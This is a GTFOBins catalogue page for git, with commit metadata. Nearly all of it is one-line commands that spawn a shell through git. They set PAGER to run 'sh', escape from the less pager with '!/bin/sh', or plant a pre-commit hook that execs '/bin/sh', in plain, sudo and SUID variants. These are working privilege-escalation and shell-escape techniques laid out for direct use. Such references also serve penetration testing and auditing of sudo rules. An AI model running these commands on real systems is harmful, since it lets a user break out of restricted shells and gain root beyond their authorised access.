GTFOBins.github.io/_gtfobins/git.md
Andrea Cardaci 15b465d937 Add git hooks shell
Closes #77 as it provides a working example and a possibly better hook. Thanks
to jivex5k <wgehalo@gmail.com> for the initial proposal.
2019-12-18 14:38:35 +01:00

2.0 KiB

functions
shell sudo limited-suid
code
PAGER='sh -c "exec sh 0<&1"' git -p help
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. git help config !/bin/sh
description code
Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option. TF=$(mktemp -d) git init "$TF" echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample" mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit" git -C "$TF" commit --allow-empty -m x
code
PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. sudo git -p help config !/bin/sh
description code
The help system can also be reached from any `git` command, e.g., `git branch`. This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. sudo git branch --help config !/bin/sh
description code
Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option. TF=$(mktemp -d) git init "$TF" echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample" mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit" sudo git -C "$TF" commit --allow-empty -m x
code
PAGER='sh -c "exec sh 0<&1"' ./git -p help